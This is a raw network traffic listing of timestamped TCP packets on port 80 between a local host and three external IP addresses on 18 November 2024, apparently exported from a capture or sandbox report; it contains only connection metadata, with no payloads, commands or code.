Nov 18, 2024 19:04:41.341847897 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.341897011 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.341902018 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.341914892 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.342032909 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.342032909 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.342035055 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.342046976 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.342081070 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.342097044 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.342740059 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.342782974 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.342838049 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.342849970 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.342890978 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.344082117 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.360882044 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.360899925 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.360913038 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361017942 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.361577988 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361589909 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361603022 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361644983 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.361670017 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.361711025 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361722946 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361735106 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.361747980 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.361759901 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.361798048 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.361831903 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.361844063 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.361865044 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.361880064 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.361891985 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.361892939 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.361906052 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.361913919 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.361943007 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.362063885 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362102032 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.362206936 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.362216949 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.362226009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362236977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362248898 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362251043 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.362261057 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362268925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.362272024 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.362287045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.362315893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.362341881 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362353086 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.362366915 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.362379074 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.362387896 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.362389088 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.362421989 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.374324083 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.374339104 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.374350071 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.374422073 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.397095919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.397550106 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.397650957 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.401068926 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401232004 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401243925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401295900 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.401412964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401426077 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401489019 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.401671886 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401684046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401695967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401710033 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.401741028 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.401773930 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.401987076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.402151108 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.402162075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.402209997 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.403244972 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.403301001 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.403387070 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.404591084 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.415582895 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415657997 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415673018 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415750980 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.415765047 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415776014 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415785074 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415787935 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.415796041 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.415817976 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.415869951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416019917 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416064024 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416107893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416112900 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416119099 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416131020 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416147947 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416169882 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416177988 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416732073 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416758060 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416795015 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416805983 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416810989 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416816950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416827917 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416877031 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.416919947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.416960001 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.419837952 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.419887066 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.420130014 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.420145988 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.420181990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.420181990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.441050053 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.441085100 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.441616058 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.444333076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.444416046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.444483995 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.451541901 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.451663971 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.451865911 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.457431078 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.457509041 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.457897902 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.460555077 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.460566998 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.460577965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.460623980 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.460654020 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.460859060 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.460870981 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.460882902 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.460911989 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.460926056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.462188959 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.462201118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.462212086 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.462254047 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.462285042 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.476522923 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.476538897 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.476552010 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.476599932 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.476619959 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.476669073 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.476680994 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.476691961 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.476710081 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.476733923 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.476974964 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477031946 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477041960 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477083921 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.477121115 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477133989 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477159977 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.477183104 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.477417946 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477431059 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477462053 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.477509975 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.477580070 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.480209112 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480221987 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480289936 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480288982 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.480329990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.480355024 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480366945 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480379105 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480403900 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.480431080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.480494022 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480506897 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.480535984 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.480552912 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.481024027 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481036901 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481050968 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481091022 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.481106997 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481120110 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481121063 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.481148958 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.481161118 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.481554031 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481606960 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.481821060 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.481873989 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.489736080 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.489752054 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.489764929 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.489785910 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.489814043 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.763597012 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.763633013 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.763654947 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.763658047 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.763679981 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763684034 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.763701916 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763703108 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.763714075 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763725996 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.763757944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.763757944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.763889074 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763907909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763920069 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763931036 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763943911 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.763943911 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.763987064 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764457941 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764470100 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764481068 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764492989 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764497042 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764504910 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764518023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764525890 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764529943 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764542103 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764554024 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764554977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764575005 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764600992 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764709949 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764720917 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764731884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764744043 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764744997 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764755964 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.764774084 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.764800072 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765363932 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765402079 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765424967 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765436888 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765448093 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765459061 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765470028 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765470982 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765484095 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765484095 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765497923 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765507936 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765510082 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.765522003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765548944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.765558958 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.765569925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.765582085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.765742064 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.766350031 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766361952 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766372919 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766386986 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766398907 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766403913 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766410112 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766422987 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766427040 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766434908 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766448975 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766469002 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766479969 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766490936 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766495943 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766495943 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766495943 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766501904 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.766511917 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766525984 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.766525984 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766537905 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.766550064 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.766561985 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.766576052 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.766580105 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.766587973 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.766633034 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.766633034 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.767318010 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767329931 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767343044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767349958 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.767354965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767369032 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767370939 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.767381907 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767395020 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767400026 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.767415047 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.767431021 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.767446995 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.767457962 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.767467976 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.767481089 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.767503023 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.767515898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.767523050 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.767549038 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.767600060 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.768263102 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.768284082 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.768291950 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.768296957 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.768307924 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.768310070 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.768326044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.768337965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.768337965 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.768349886 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.768362045 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.768367052 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.768373013 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.768384933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.768388033 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.768392086 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.768397093 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.768400908 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.768409014 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.768419981 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.768431902 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.768434048 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.768444061 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.768457890 CET	80	49989	185.215.113.206	192.168.2.5
